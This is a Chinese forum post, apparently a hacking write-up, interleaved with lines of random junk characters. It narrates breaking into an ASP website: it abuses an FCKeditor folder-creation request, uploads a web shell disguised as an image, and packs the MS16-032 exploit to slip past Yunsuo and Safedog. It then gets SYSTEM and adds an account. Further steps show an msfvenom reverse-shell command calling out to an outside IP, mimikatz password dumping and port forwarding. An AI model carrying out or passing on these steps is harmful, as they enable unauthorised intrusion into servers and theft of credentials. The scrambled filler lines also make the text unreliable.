+ h, c: u! ^+ y9 M
|
, F `& W l, J0 x+ p 2 l9 @* z! O; n D
9 V' Z7 m* S7 [; J& I2 r
一、 利用getwebshell篇
. g- B. J$ }( r1 y( ^$ n
6 t+ P0 m( A$ M8 N, `( b首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
! l% p" y5 Z" [/ `1 h9 {/ F0 h% | h
1 o* U6 L% }) r
* ~2 @- r* b* b. \# b1 P2 \& D& U下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
0 a% J, i, F _
+ p6 \: I3 A/ u* m/ P下面我们构造一个asp目录，如： - @% c+ V4 {- i
, _% k* f8 P3 G0 d; p" V" ^% R
! O4 }1 J3 G; x0 M( a& I5 J' ]7 Q/ w6 ^1 H http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975
# A; y% ]/ W$ c b# Q8 K$ P$ u" [% _3 ^) R4 Z
, C- M/ l) g) L5 w1 U$ R* j
然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
3 I% l2 @, j- n
8 }6 @4 C" h ?" T: Q
一、 绕过安全狗云锁提权并且加账号
9 o' T( |& J$ `6 Y" O
( N0 A+ M$ E! X5 e# g没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
; P6 X! L1 r% \) A
" d7 o* V+ w( U; I, M
如图：
* Q y; N: l! y" o
9 x2 Z. R& V- x4 x- `然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
0 M5 I/ q( [9 |' K: W& C4 q& d
" p0 s( @# I9 O3 _, k7 y# L' x一、 利用metasploit
% g$ C) {) ], Q* K7 m- U
( }5 U. @" J0 C1 s1 Z
首先用pentestbox生成一个64位的payload如下命令
( t2 v& R# M& T! o f
: e+ H8 V9 ]4 D9 \1 ^3 m, t3 w
msfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
! L/ A8 ]' E1 Z: |
# C) H( M* I8 M4 L+ U% h: W为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
! Q, |: \/ ]+ y8 D% S: B; c
6 H* C `" C: u# @
下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
3 l8 n" X5 M, g1 \2 d% l) B
) q; T" z. J- X7 \) ?
下面我们来做一个监听如下命令：
" e, |, w3 }( y2 Y3 L2 s, f& y' {2 F! n
! O# C2 E7 Q5 f9 e4 u8 B
portfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
{7 |, Y. \/ g& N4 T 0 S0 N5 P3 Q1 H
2 a9 W# ~. y) g+ H- d
| 4 m% [( E/ ?3 Z0 G
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06